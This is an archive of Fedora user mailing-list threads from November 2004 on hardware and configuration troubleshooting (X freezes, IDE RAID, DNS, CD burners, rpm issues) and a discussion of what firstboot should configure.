https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=140080 mpleite Qua, 2004-11-17 ?s 14:40 -0500, David Malcolm escreveu: > On Tue, 2004-11-16 at 17:19 +0000, Miguel Pereira Leite wrote: > > Hi there. > > > > I'm some kind of newbie, but.. > > > > I've FC3 final full updated ( but openoffice.org) > > > > My xorg is in cinerama mode: > > ------ > > Section "ServerLayout" > > Identifier "Multihead layout" > > Screen 0 "Screen0" LeftOf "Screen1" > > Screen 1 "Screen1" 0 0 > > InputDevice "Mouse0" "CorePointer" > > InputDevice "Keyboard0" "CoreKeyboard" > > Option "Xinerama" "on" > > Option "Clone" "off" > > EndSection > > ------- > > > > my graphics cards are 1 Nvidia TNT 2 and 1 Sis 315 (ok, they are ugly, > > but i work mostly with text) > > > > Everything works fine. But when i'm in Evolution and try to reply an e- > > mail or to write a new mail, the X server goes full speed and "heats" > > all available CPU and the machine gets freezed for some time (10, 15 > > seconds). > > > > Did anyone seen this before? what can i do to help you understand what > > is going on? > I haven't seen this; please can you file this in Bugzilla, and we'll > take it from there. > > Thanks! > Dave Malcolm > > > > > > mpleite > > > From wphewitt at bpa.gov Fri Nov 19 17:59:42 2004 From: wphewitt at bpa.gov (William Hewitt) Date: Fri, 19 Nov 2004 09:59:42 -0800 Subject: HP ML330 Disk Drivers..... In-Reply-To: <20041115210119.C2B4872F89@hormel.redhat.com> References: <20041115210119.C2B4872F89@hormel.redhat.com> Message-ID: <1100887182.15722.13.camel@localhost.localdomain> Several Days ago, I asked if anyone could help me get Fedora on a HP ML330 with an on-board proprietary disk array...... I have been sick for the last several days and am just now getting back to my quest to make this thing work. My original message was as follows.. --------------------------- I have an HP Proliant ML330 - fresh from the factory - and low and behold,they have swapped out standard IDE Controllers with some funky on-board IDE RAID Controller (Ultra ATA IDE 100) that apparently doesnt work with anything but RHE or RH9 or RH8...... And even then, the documentation is lacking...... What I would like to do is get Fedora running on this system..... (From some very simple googling, seems I am not the only one with this problem....) --------------------------------- One person responded and asked me to include the specifications for the machine..... Here are the hardware specifications.... CSB-6 Ultra ATA-100 IDE Raid Controller LSI Logic Corporation Version 4.1.0730.2003 (for windows anyway!) PCI Bus 0 Device 15 Function 1 From arjanv at redhat.com Fri Nov 19 18:21:02 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Fri, 19 Nov 2004 19:21:02 +0100 Subject: HP ML330 Disk Drivers..... In-Reply-To: <1100887182.15722.13.camel@localhost.localdomain> References: <20041115210119.C2B4872F89@hormel.redhat.com> <1100887182.15722.13.camel@localhost.localdomain> Message-ID: <1100888461.2814.37.camel@laptop.fenrus.org> On Fri, 2004-11-19 at 09:59 -0800, William Hewitt wrote: > --------------------------------- > > One person responded and asked me to include the specifications for the > machine..... Here are the hardware specifications.... > > CSB-6 Ultra ATA-100 IDE Raid Controller > LSI Logic Corporation > Version 4.1.0730.2003 (for windows anyway!) > PCI Bus 0 Device 15 Function 1 dmraid should be able support this (software!) raid. If 2.6 kernels don't find the disks at all I might need to de-sabotage the driver (like I did once for the 2.4 driver) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From kyrre at solution-forge.net Fri Nov 19 19:20:56 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 19 Nov 2004 20:20:56 +0100 Subject: trash panel In-Reply-To: <1100813501.8066.0.camel@simba.lion> References: <1100813501.8066.0.camel@simba.lion> Message-ID: <1100892056.2683.3.camel@kyrre> tor, 18.11.2004 kl. 22.31 skrev Alex Thomsen Leth: > what about putting the trashcan into the panel, like ubuntu did?? Or like OSX? But yes, i would say go with it. Just don't make it *to* easy to disapear... From kyrre at solution-forge.net Fri Nov 19 19:22:19 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 19 Nov 2004 20:22:19 +0100 Subject: Setting a DNS without using neat In-Reply-To: <1100805244.15704.4.camel@twoface> References: <1100804721.7121.60.camel@localhost.localdomain> <1100805244.15704.4.camel@twoface> Message-ID: <1100892139.2683.5.camel@kyrre> tor, 18.11.2004 kl. 20.14 skrev Mitch Anderson: > On Thu, 2004-11-18 at 19:05 +0000, Paul wrote: > > As neat seems to be currently broken due to python being broken, how can > > I set a DNS server address? ifcfg eth0 xxx.xxx.xxx.xxx gives me an error > > that eth0 cannot be contacted (or something like that) > > DNS servers are set in the /etc/resolv.conf file. > > just open it with your favorite editor and add or change the line > beginning with "nameserver" > > ie: > nameserver x.x.x.x > nameserver x.x.x.x > Normally, yes. But it will be reset during the DHCP call... (or reboot, moving of machine (laptop case)) From kyrre at solution-forge.net Fri Nov 19 19:36:02 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Fri, 19 Nov 2004 20:36:02 +0100 Subject: My X Server become ZOMBIE In-Reply-To: <200411162021.20032.alessandro.torrisi@eurone.it> References: <200411162021.20032.alessandro.torrisi@eurone.it> Message-ID: <1100892962.2683.7.camel@kyrre> tir, 16.11.2004 kl. 20.21 skrev Alessandro Torrisi: > Well I've got a problem with X, I was setting up my xscreensaver when all the > X system locked up ! I connected with my notebook with SSH and there was a X > process with a 90% cpu and 0% memory .consumption. > The process was Zombie. I had to reboot my server. Do you know why ?? > What is happening ? I had this problem also with FC2 ! > > Bye, Alex What kind of video card is in it? Just for test, change driver to "nvidia" and report back From mitch at metauser.net Fri Nov 19 19:39:43 2004 From: mitch at metauser.net (Mitch Anderson) Date: Fri, 19 Nov 2004 12:39:43 -0700 Subject: Setting a DNS without using neat In-Reply-To: <1100892139.2683.5.camel@kyrre> References: <1100804721.7121.60.camel@localhost.localdomain> <1100805244.15704.4.camel@twoface> <1100892139.2683.5.camel@kyrre> Message-ID: <1100893183.26946.66.camel@twoface> On Fri, 2004-11-19 at 20:22 +0100, Kyrre Ness Sjobak wrote: > > DNS servers are set in the /etc/resolv.conf file. > > > > just open it with your favorite editor and add or change the line > > beginning with "nameserver" > > > > ie: > > nameserver x.x.x.x > > nameserver x.x.x.x > > > Normally, yes. But it will be reset during the DHCP call... (or reboot, > moving of machine (laptop case)) Correct, if this is not desired, add the following line to /etc/sysconfig/network PEERDNS=no (default is yes) and the DHCP client will not overwrite those settings. -- Mitch Anderson From davej at redhat.com Fri Nov 19 19:43:06 2004 From: davej at redhat.com (Dave Jones) Date: Fri, 19 Nov 2004 14:43:06 -0500 Subject: latest testing kernels. Message-ID: <20041119194306.GB16108@redhat.com> Two new kernels (one each for FC2 / FC3) went into testing today, which should fix the nasty SATA problems a lot of folks saw, and also the megaraid regression on FC2. These will get moved across to updates proper later today unless theres something terribly wrong with them. I'll send out a full changelog announcement later today too. Thanks for your patience and testing with this problem. Dave From sean.bruno at dsl-only.net Fri Nov 19 20:07:54 2004 From: sean.bruno at dsl-only.net (Sean Bruno) Date: Fri, 19 Nov 2004 12:07:54 -0800 Subject: latest testing kernels. In-Reply-To: <20041119194306.GB16108@redhat.com> References: <20041119194306.GB16108@redhat.com> Message-ID: <1100894874.29100.0.camel@wbar3.sea1-4-5-117-171.sea1.dsl-verizon.net> Muchas Gracias. Seems like we reported this problem 2 days ago, and Fedora is going to release a fix already? Not bad for free! On Fri, 2004-11-19 at 14:43 -0500, Dave Jones wrote: > Two new kernels (one each for FC2 / FC3) went into testing today, > which should fix the nasty SATA problems a lot of folks saw, > and also the megaraid regression on FC2. > > These will get moved across to updates proper later today > unless theres something terribly wrong with them. > > I'll send out a full changelog announcement later today too. > > Thanks for your patience and testing with this problem. > > Dave > From trulsg at broadpark.no Fri Nov 19 20:53:56 2004 From: trulsg at broadpark.no (Truls Gulbrandsen) Date: Fri, 19 Nov 2004 21:53:56 +0100 Subject: FC3 - wrong screen resolution - SOLVED In-Reply-To: <20041110192907.GA29262@lnx-holt.americas.sgi.com> References: <41912D99.7040809@broadpark.no> <4191763E.3010604@insight.rr.com> <41924789.8050401@broadpark.no> <41926858.80506@broadpark.no> <20041110192907.GA29262@lnx-holt.americas.sgi.com> Message-ID: <419E5D64.2090805@broadpark.no> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Thanks to valuable input from Robin Holt and Jim Cornette -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFBnl1jickK29LSyG8RAsbPAJwJL6jH8XKtActZXpbKmPaDreQ0/gCdFbjH qhLxJReIjWtMxUYuwOyd2gw= =7Y50 -----END PGP SIGNATURE----- -------------- next part -------------- A non-text attachment was scrubbed... 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Thanks in advance. -- Kim Lux (Mr.) Diesel Research Inc From toaster at umiacs.umd.edu Fri Nov 19 21:46:14 2004 From: toaster at umiacs.umd.edu (Mike Smorul) Date: Fri, 19 Nov 2004 16:46:14 -0500 (EST) Subject: Inspiron 4150 suspend/resume Message-ID: Hi, Has anyone managed to get suspend to ram working on an Inspiron 4150 running FC3? It will suspend correctly, however on wakeup the backlight will come on, but the screen is blank and the machine is otherwise unresponsive. I've done the usualy switch from acpi to apm, and have the usb controller unload prior to suspend. APM suspend/resume worked fine (from a tty) in FC2. Thanks, -Mike From balay at fastmail.fm Fri Nov 19 10:13:37 2004 From: balay at fastmail.fm (Satish Balay) Date: Fri, 19 Nov 2004 04:13:37 -0600 (CST) Subject: Installing devel rpms with non matching user and group. In-Reply-To: <1100900804.3879.4.camel@localhost.localdomain> References: <1100900804.3879.4.camel@localhost.localdomain> Message-ID: On Fri, 19 Nov 2004, Kim Lux wrote: > Earlier today, a certain redhat developer posted a link to some rpms to > test for a bugzilla issue I am involved with. When I try to install the > it I get warnings about the user and group not being present on my > computer. (User is the developer, group is www.) I can't get them to > install and I can't reach the developer. > > Any ideas ? I am using rpm -i --force xxx.rpm. I removed the rpm that > it is replacing, but I can reinstall it if necessary. I haven't been > able to find a --ignoreuser and/or --ignoregroup. Not sure what the problem you are having is - but 'rhgb-0.16.1-1.FC3' is already part of FC3 updates (perhaps not all mirrors). You might just want to install it from there.. (try yum update a few times till you get it) Satish From lux at diesel-research.com Fri Nov 19 22:27:27 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 19 Nov 2004 15:27:27 -0700 Subject: Installing devel rpms with non matching user and group. Message-ID: <1100903247.4236.8.camel@localhost.localdomain> re:"Not sure what the problem you are having is - but 'rhgb-0.16.1-1.FC3' is already part of FC3 updates (perhaps not all mirrors). You might just want to install it from there.. (try yum update a few times till you get it)" I just ran yum and it isn't there. The developer said this morning on bugzilla that it might take a while to become available as an update. He thus posted a link to a "personal" copy that we could test with. The problem I am having is this: #rpm -i rhgb*rpm warning: user ***** does not exist - using root warning: group www does not exist - using root warning: user ***** does not exist - using root warning: group www does not exist - using root # rpm -q rhgb rhgb-0.15.1-1.FC3 <-- this is not the upgraded version. I'll just wait for yum, I guess. I hid the name of the developer. -- Kim Lux (Mr.) Diesel Research Inc From lux at diesel-research.com Fri Nov 19 22:31:33 2004 From: lux at diesel-research.com (Kim Lux) Date: Fri, 19 Nov 2004 15:31:33 -0700 Subject: Installing devel rpms with non matching user and group. In-Reply-To: <1100903247.4236.8.camel@localhost.localdomain> References: <1100903247.4236.8.camel@localhost.localdomain> Message-ID: <1100903493.4236.11.camel@localhost.localdomain> I found the problem and I'm an idiot. He posted a source rpm. I didn't see the .src in the file name. Now that I've realized that, I can build it from here. Thanks and sorry. On Fri, 2004-11-19 at 15:27 -0700, Kim Lux wrote: > re:"Not sure what the problem you are having is - but > 'rhgb-0.16.1-1.FC3' > is already part of FC3 updates (perhaps not all mirrors). You might > just want to install it from there.. (try yum update a few times till > you get it)" > > I just ran yum and it isn't there. The developer said this morning on > bugzilla that it might take a while to become available as an update. > He thus posted a link to a "personal" copy that we could test with. > > The problem I am having is this: > > #rpm -i rhgb*rpm > warning: user ***** does not exist - using root > warning: group www does not exist - using root > warning: user ***** does not exist - using root > warning: group www does not exist - using root > > # rpm -q rhgb > rhgb-0.15.1-1.FC3 <-- this is not the upgraded version. > > I'll just wait for yum, I guess. > > I hid the name of the developer. > > > -- Kim Lux (Mr.) Diesel Research Inc From alan at redhat.com Fri Nov 19 22:32:12 2004 From: alan at redhat.com (Alan Cox) Date: Fri, 19 Nov 2004 17:32:12 -0500 Subject: HP ML330 Disk Drivers..... In-Reply-To: <1100887182.15722.13.camel@localhost.localdomain> References: <20041115210119.C2B4872F89@hormel.redhat.com> <1100887182.15722.13.camel@localhost.localdomain> Message-ID: <20041119223212.GE29277@devserv.devel.redhat.com> On Fri, Nov 19, 2004 at 09:59:42AM -0800, William Hewitt wrote: > CSB-6 Ultra ATA-100 IDE Raid Controller > LSI Logic Corporation > Version 4.1.0730.2003 (for windows anyway!) > PCI Bus 0 Device 15 Function 1 Thats a serverworks IDE controller and software bios raid. Just use it as an IDE controller pair and with md raid. From fct-cornette at insight.rr.com Sat Nov 20 01:34:04 2004 From: fct-cornette at insight.rr.com (Jim Cornette) Date: Fri, 19 Nov 2004 20:34:04 -0500 Subject: FC3 - wrong screen resolution - SOLVED In-Reply-To: <419E5D64.2090805@broadpark.no> References: <41912D99.7040809@broadpark.no> <4191763E.3010604@insight.rr.com> <41924789.8050401@broadpark.no> <41926858.80506@broadpark.no> <20041110192907.GA29262@lnx-holt.americas.sgi.com> <419E5D64.2090805@broadpark.no> Message-ID: <419E9F0C.6040601@insight.rr.com> Truls Gulbrandsen wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Thanks to valuable input from Robin Holt and Jim Cornette > > It is great that you have the problem solved. You ought to file a bug report with the problem and resolution into bugzilla. I'm not sure if it was an issue with anaconda, s-c-display or the hardware detection software not discovering what card that you have. The video setup should just work with only needing to adjust preferences (resolution, etc:) Adding the bug report stating hardware. (video card) and what manual configuration options that you had to perform would head off configuration issues for FC4 and beyond. The solution might be posted onto the fedora-list if you see a similar problem on the users list. Glad to help and I hope you share the solution for a better next distribution and aid other users with the same type of problem. Jim From jspaleta at gmail.com Sat Nov 20 14:07:06 2004 From: jspaleta at gmail.com (Jeff Spaleta) Date: Sat, 20 Nov 2004 09:07:06 -0500 Subject: trash panel In-Reply-To: <1100813501.8066.0.camel@simba.lion> References: <1100813501.8066.0.camel@simba.lion> Message-ID: <604aa791041120060735d4563d@mail.gmail.com> On Thu, 18 Nov 2004 22:31:41 +0100, Alex Thomsen Leth wrote: > what about putting the trashcan into the panel, like ubuntu did?? A couple of questions for you..... Do you know if the trash applet is available in upstream stock gnome 2.8 at the moment? If it is, have you found or filed an RFE in redhat's bugzilla for its inclusion? If it isn't, do you know if the trash applet is slated for inclusion in gnome 2.10? If it isn't targetted from 2.10, is there an RFE open to include it in upstreams gnome's bugzilla? -jef From bruma at email.si Sat Nov 20 14:35:53 2004 From: bruma at email.si (b r u ma) Date: Sat, 20 Nov 2004 15:35:53 +0100 Subject: CDrw drive issue Message-ID: <419F5649.2030505@email.si> hi, I have two cdrw burners in my box, but only one is found with $cdrecord -scanbus Cdrecord-Clone 2.01-dvd (i686-pc-linux-gnu) Copyright (C) 1995-2004 J?rg Schilling Note: This version is an unofficial (modified) version with DVD support Note: and therefore may have bugs that are not present in the original. Note: Please send bug reports or support requests to http://bugzilla.redhat.com/bugzilla Note: The author of cdrecord should not be bothered with problems in this version. scsidev: 'ATA' devname: 'ATA' scsibus: -2 target: -2 lun: -2 Linux sg driver version: 3.5.27 Using libscg version 'schily-0.8'. cdrecord: Warning: using inofficial libscg transport code version (schily - Red Hat-scsi-linux-sg.c-1.83-RH '@(#)scsi-linux-sg.c 1.83 04/05/20 Copyright 1997 J. Schilling'). scsibus1: 1,0,0 100) * 1,1,0 101) 'HL-DT-ST' 'DVDRAM GSA-4040B' 'A301' Removable CD-ROM 1,2,0 102) * 1,3,0 103) * 1,4,0 104) * 1,5,0 105) * 1,6,0 106) * 1,7,0 107) * this one is attached on /dev/hdd and it works Ok. But second drive is scsi, and is also found by my kernel: $dmesg | grep -i scsi SCSI subsystem initialized ahc_pci:0:10:0: Host Adapter Bios disabled. Using default SCSI device parameters scsi0 : Adaptec AIC7XXX EISA/VLB/PCI SCSI HBA DRIVER, Rev 6.2.36 aic7850: Single Channel A, SCSI Id=7, 3/253 SCBs (scsi0:A:3): 10.000MB/s transfers (10.000MHz, offset 15) Type: CD-ROM ANSI SCSI revision: 02 sr0: scsi3-mmc drive: 24x/24x writer cd/rw xa/form2 cdda tray Should I insert some module to get it working, I also notice that there is no device for scsi cdrw?!? Any suggestions? regards bruma From arjanv at redhat.com Sat Nov 20 15:03:41 2004 From: arjanv at redhat.com (Arjan van de Ven) Date: Sat, 20 Nov 2004 16:03:41 +0100 Subject: CDrw drive issue In-Reply-To: <419F5649.2030505@email.si> References: <419F5649.2030505@email.si> Message-ID: <1100963020.2639.39.camel@laptop.fenrus.org> On Sat, 2004-11-20 at 15:35 +0100, b r u ma wrote: > hi, > > I have two cdrw burners in my box, but only one is found with > $cdrecord -scanbus > Cdrecord-Clone 2.01-dvd (i686-pc-linux-gnu) Copyright (C) 1995-2004 J?rg you should be able to burn just fine with cdrecord --dev=/dev/hdd and cdrecord --dev=/dev/scd0 don't need to use --scanbus at all with 2.6 kernels... -------------- next part -------------- A non-text attachment was scrubbed... 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In-Reply-To: <200411201600.56599.livelinux@nwst.de> References: <200411201600.56599.livelinux@nwst.de> Message-ID: <1100963664.9129.16.camel@mobile01> On Sat, 2004-11-20 at 16:00 +0100, Dirk Westfal wrote: > hi, > > how do i create a 'repodata' folder and the appropiate files for a local yum > repository ? Is there a howto somewhere ? > > tia! > > Best Regards > Dirk Westfal > How to build a custom Yum Repository in FC3: http://fedoranews.org/contributors/richard_flude/repo/ Matthew E. Lauterbach From livelinux at nwst.de Sat Nov 20 16:10:39 2004 From: livelinux at nwst.de (Dirk Westfal) Date: Sat, 20 Nov 2004 17:10:39 +0100 Subject: how do i create a 'repodata' folder for a local yum repository ? In-Reply-To: <1100963664.9129.16.camel@mobile01> References: <200411201600.56599.livelinux@nwst.de> <1100963664.9129.16.camel@mobile01> Message-ID: <200411201710.39071.livelinux@nwst.de> On Saturday 20 November 2004 16:14, Matthew E. Lauterbach wrote: > On Sat, 2004-11-20 at 16:00 +0100, Dirk Westfal wrote: ... > How to build a custom Yum Repository in FC3: > http://fedoranews.org/contributors/richard_flude/repo/ > > Matthew E. Lauterbach Thanks a lot ! Best Regards, Dirk Westfal From linuxnow at newtral.org Sat Nov 20 17:05:01 2004 From: linuxnow at newtral.org (Pau Aliagas) Date: Sat, 20 Nov 2004 18:05:01 +0100 (CET) Subject: yum upgrade? In-Reply-To: <1100849339.5163.2.camel@cutter> References: <4189287C.5060305@broadpark.no> <1099510153.4065.9.camel@binkley> <1100849339.5163.2.camel@cutter> Message-ID: On Fri, 19 Nov 2004, seth vidal wrote: > >> I've done this in my home computer, just to test it and repeat it in a >> remote computer later, and everythingg updated ok, but I have a very >> serious problem: the rpm database is empty. Only the newly installed rpms >> appear. >> >> I've tried rpm --rebuilddb and rpm --initdb to no luck. >> I've just tried to make a CD update and, obviously, as there are no rpms, >> it does nothing. >> >> Any hint to recover this rpm database? > > Something didn't finish completely, then. Did you run out of disk space, > perchance? No everything run fine. > I don't know of a way to recover your rpmdb, no. I have a list of the installed packages in the yum.log file. Someone suggested me to try with rpm --justdb. I'll see how to do that. Thanks Pau From joelbryanster at gmail.com Sun Nov 21 00:12:20 2004 From: joelbryanster at gmail.com (joelbryan) Date: Sun, 21 Nov 2004 08:12:20 +0800 Subject: Fedora Firstboot Enhancements Message-ID: Firstboot will try to get the most information about how the user wants the system to be setup. I think enhancing Firstboot will make a lot of improvements to setting up system-wide changes affecting to all the users. Firstboot setup will make the system more easier to use, since they don't have to think about setting up the printers, the scanners, the ISP, since it's all configured and ready for use using Firstboot. Here are the list I believe should be asked in Firstboot. 1. Printers & Scanners 2. Network ISP's for PPPoe (DSL, Broadband) 3. Up2Date Software Updates 4. Login Preferences (Facebrowser, Network Login) From strange at nsk.no-ip.org Sun Nov 21 00:31:26 2004 From: strange at nsk.no-ip.org (Luciano Miguel Ferreira Rocha) Date: Sun, 21 Nov 2004 00:31:26 +0000 Subject: Fedora Firstboot Enhancements In-Reply-To: References: Message-ID: <20041121003126.GA11906@nsk.no-ip.org> On Sun, Nov 21, 2004 at 08:12:20AM +0800, joelbryan wrote: > Firstboot will try to get the most information about how the user > wants the system to be setup. I think enhancing Firstboot will make a > lot of improvements to setting up system-wide changes affecting to all > the users. Firstboot setup will make the system more easier to use, > since they don't have to think about setting up the printers, the > scanners, the ISP, since it's all configured and ready for use using > Firstboot. > > Here are the list I believe should be asked in Firstboot. > > 1. Printers & Scanners > 2. Network ISP's for PPPoe (DSL, Broadband) > 3. Up2Date Software Updates > 4. Login Preferences (Facebrowser, Network Login) 5. Allow a root login on a console or xterm for when the network the maching is being installed on is different than the one it will be deployed to. (Or for other necessary changes for firstboot to run smoothly.) Regards, Luciano Rocha From mattdm at mattdm.org Sun Nov 21 01:39:03 2004 From: mattdm at mattdm.org (Matthew Miller) Date: Sat, 20 Nov 2004 20:39:03 -0500 Subject: Fedora Firstboot Enhancements In-Reply-To: References: Message-ID: <20041121013903.GA1897@jadzia.bu.edu> On Sun, Nov 21, 2004 at 08:12:20AM +0800, joelbryan wrote: > 1. Printers & Scanners > 2. Network ISP's for PPPoe (DSL, Broadband) > 3. Up2Date Software Updates > 4. Login Preferences (Facebrowser, Network Login) I'm not so keen on all of this. I think, rather, firstboot should ask the minimal few questions required to get a) an admistrative user set up and b) the machine to boot up so that user can log in. Then, everything can be handled using the standard tools in a real, full-fledged work environment. Perhaps some further handholding is warranted at that point (a "getting started" app?) but I don't think it should impede the first system startup. -- Matthew Miller mattdm at mattdm.org Boston University Linux ------> From mpeters at mac.com Sun Nov 21 02:53:21 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 21 Nov 2004 02:53:21 +0000 Subject: Fedora Firstboot Enhancements In-Reply-To: (from joelbryanster@gmail.com on Sat Nov 20 16:12:20 2004) References: Message-ID: <1101005601l.26533l.2l@devel.mpeters.us> On 11/20/2004 04:12:20 PM, joelbryan wrote: > Here are the list I believe should be asked in Firstboot. > > 1. Printers & Scanners > 2. Network ISP's for PPPoe (DSL, Broadband) > 3. Up2Date Software Updates > 4. Login Preferences (Facebrowser, Network Login) My opinions Printers and Scanners should be done the way are done now - kudzu detects them if they are directly connected, administrative tool front end to cups from within the menu system. First boot is the first impression a user has after install - and setting up printers/scanners is a fragile matter, firstboot should go smooth to install confidence in the user. Network ISP's for PPPoE - yes, set that up during firstboot, either there or in Anaconda. Software updates should not be done in first boot, once they have booted, if they have network - the throbbing red ! is indication that action is required. Doesn't need to be in first boot. Login preferences - gdm can be easily configured once you've booted. -=- What I _do_ want to see added to first boot - if there isn't a mail alias for root, ask the user who should get root's mail, create the alias, and run newaliases. From rpaiz at simpaticus.com Sun Nov 21 03:07:44 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sat, 20 Nov 2004 21:07:44 -0600 Subject: Fedora Firstboot Enhancements In-Reply-To: <20041121013903.GA1897@jadzia.bu.edu> References: <20041121013903.GA1897@jadzia.bu.edu> Message-ID: <1101006464.3496.8.camel@localhost.localdomain> On Sat, 2004-11-20 at 20:39 -0500, Matthew Miller wrote: > I'm not so keen on all of this. I think, rather, firstboot should ask the > minimal few questions required to get a) an admistrative user set up and b) > the machine to boot up so that user can log in. > I have to agree with Matthew on this one. Firstboot should get the system up and running, that's all. However, I *do* think that we are missing a "Getting Started" applications that does the things suggested in this thread (printers, scanners, etc.). Cheers, -- Rodolfo J. Paiz From P.R.Schaffner at IEEE.org Sun Nov 21 03:39:54 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Sat, 20 Nov 2004 22:39:54 -0500 Subject: Fedora Firstboot Enhancements In-Reply-To: <1101005601l.26533l.2l@devel.mpeters.us> References: <1101005601l.26533l.2l@devel.mpeters.us> Message-ID: <1101008394.4551.75.camel@tabb1.tabb> On Sun, 2004-11-21 at 02:53 +0000, Michael A. Peters wrote: > firstboot should go smooth to install confidence > in the user. Wow - didn't know Fedora was going to run on wetware! Whats the installation media for users? Are normal users a different arch than power users? I'd like to install some confidence and perhaps get a memory and CPU upgrade while I'm at it. Maybe a new heavy-duty server case too. ;^) OK, enough. Sorry - couldn't resist. Getting late after a hard day of home maintenance. Think you meant "instill", but I agree with the sentiment. Don't want a top-heavy firstboot, but some better configuration tools would be good. Phil From shrek-m at gmx.de Sun Nov 21 07:37:00 2004 From: shrek-m at gmx.de (shrek-m at gmx.de) Date: Sun, 21 Nov 2004 08:37:00 +0100 Subject: Fedora Firstboot Enhancements In-Reply-To: <1101006464.3496.8.camel@localhost.localdomain> References: <20041121013903.GA1897@jadzia.bu.edu> <1101006464.3496.8.camel@localhost.localdomain> Message-ID: <41A0459C.5050903@gmx.de> Rodolfo J. Paiz wrote: >I have to agree with Matthew on this one. Firstboot should get the >system up and running, that's all. However, I *do* think that we are >missing a "Getting Started" applications that does the things suggested >in this thread (printers, scanners, etc.). > $ nautilus start-here:/// -- shrek-m From kyrre at solution-forge.net Sun Nov 21 17:38:08 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 21 Nov 2004 18:38:08 +0100 Subject: Fedora Firstboot Enhancements In-Reply-To: <1101005601l.26533l.2l@devel.mpeters.us> References: <1101005601l.26533l.2l@devel.mpeters.us> Message-ID: <1101057951.4067.4.camel@kyrre> s?n, 21.11.2004 kl. 03.53 skrev Michael A. Peters: > On 11/20/2004 04:12:20 PM, joelbryan wrote: > > Here are the list I believe should be asked in Firstboot. > > > > 1. Printers & Scanners > > 2. Network ISP's for PPPoe (DSL, Broadband) > > 3. Up2Date Software Updates > > 4. Login Preferences (Facebrowser, Network Login) > > My opinions > > Printers and Scanners should be done the way are done now - kudzu > detects them if they are directly connected, administrative tool front > end to cups from within the menu system. First boot is the first > impression a user has after install - and setting up printers/scanners > is a fragile matter, firstboot should go smooth to install confidence > in the user. > Kudzu and printers.. Ever had a paralell printer connected to a fedora box, which is often switched on/off? That is a pain in the ass. If the printer is disconnected, kudzu will whine about it being removed... > Network ISP's for PPPoE - yes, set that up during firstboot, either > there or in Anaconda. > > Software updates should not be done in first boot, once they have > booted, if they have network - the throbbing red ! is indication that > action is required. Doesn't need to be in first boot. > > Login preferences - gdm can be easily configured once you've booted. > > -=- > > What I _do_ want to see added to first boot - > > if there isn't a mail alias for root, ask the user who should get > root's mail, create the alias, and run newaliases. > From kyrre at solution-forge.net Sun Nov 21 17:38:50 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 21 Nov 2004 18:38:50 +0100 Subject: Fedora Firstboot Enhancements In-Reply-To: <1101006464.3496.8.camel@localhost.localdomain> References: <20041121013903.GA1897@jadzia.bu.edu> <1101006464.3496.8.camel@localhost.localdomain> Message-ID: <1101058095.4067.7.camel@kyrre> s?n, 21.11.2004 kl. 04.07 skrev Rodolfo J. Paiz: > On Sat, 2004-11-20 at 20:39 -0500, Matthew Miller wrote: > > I'm not so keen on all of this. I think, rather, firstboot should ask the > > minimal few questions required to get a) an admistrative user set up and b) > > the machine to boot up so that user can log in. > > > > I have to agree with Matthew on this one. Firstboot should get the > system up and running, that's all. However, I *do* think that we are > missing a "Getting Started" applications that does the things suggested > in this thread (printers, scanners, etc.). > What about a real manual (pdf/html), with a shortcut on the desktop. It would be usefull for both power and weak users. It should talk about everything from setting up a webserver with ftp access and securing it, to how-to-write-a-letter-to-grandma-and-print-it. > Cheers, > > -- > Rodolfo J. Paiz From kyrre at solution-forge.net Sun Nov 21 17:39:39 2004 From: kyrre at solution-forge.net (Kyrre Ness Sjobak) Date: Sun, 21 Nov 2004 18:39:39 +0100 Subject: Fedora Firstboot Enhancements In-Reply-To: <20041121003126.GA11906@nsk.no-ip.org> References: <20041121003126.GA11906@nsk.no-ip.org> Message-ID: <1101058146.4067.9.camel@kyrre> s?n, 21.11.2004 kl. 01.31 skrev Luciano Miguel Ferreira Rocha: > On Sun, Nov 21, 2004 at 08:12:20AM +0800, joelbryan wrote: > > Firstboot will try to get the most information about how the user > > wants the system to be setup. I think enhancing Firstboot will make a > > lot of improvements to setting up system-wide changes affecting to all > > the users. Firstboot setup will make the system more easier to use, > > since they don't have to think about setting up the printers, the > > scanners, the ISP, since it's all configured and ready for use using > > Firstboot. > > > > Here are the list I believe should be asked in Firstboot. > > > > 1. Printers & Scanners > > 2. Network ISP's for PPPoe (DSL, Broadband) > > 3. Up2Date Software Updates > > 4. Login Preferences (Facebrowser, Network Login) > 5. Allow a root login on a console or xterm for when the network the > maching is being installed on is different than the one it will be > deployed to. (Or for other necessary changes for firstboot to run > smoothly.) > Root account is local, not ldap (etc). > Regards, > Luciano Rocha From rpaiz at simpaticus.com Sun Nov 21 17:55:36 2004 From: rpaiz at simpaticus.com (Rodolfo J. Paiz) Date: Sun, 21 Nov 2004 11:55:36 -0600 Subject: Fedora Firstboot Enhancements In-Reply-To: <41A0459C.5050903@gmx.de> References: <20041121013903.GA1897@jadzia.bu.edu> <1101006464.3496.8.camel@localhost.localdomain> <41A0459C.5050903@gmx.de> Message-ID: <1101059737.3496.24.camel@localhost.localdomain> On Sun, 2004-11-21 at 08:37 +0100, shrek-m at gmx.de wrote: > Rodolfo J. Paiz wrote: > > >However, I *do* think that we are > >missing a "Getting Started" application [...] > $ nautilus start-here:/// > Not intuitive, not well-documented, not clear. Hell, I don't think *I* ever found it, and I've been here for ages. Cheers, -- Rodolfo J. Paiz From mpeters at mac.com Sun Nov 21 18:10:23 2004 From: mpeters at mac.com (Michael A. Peters) Date: Sun, 21 Nov 2004 18:10:23 +0000 Subject: Fedora Firstboot Enhancements In-Reply-To: 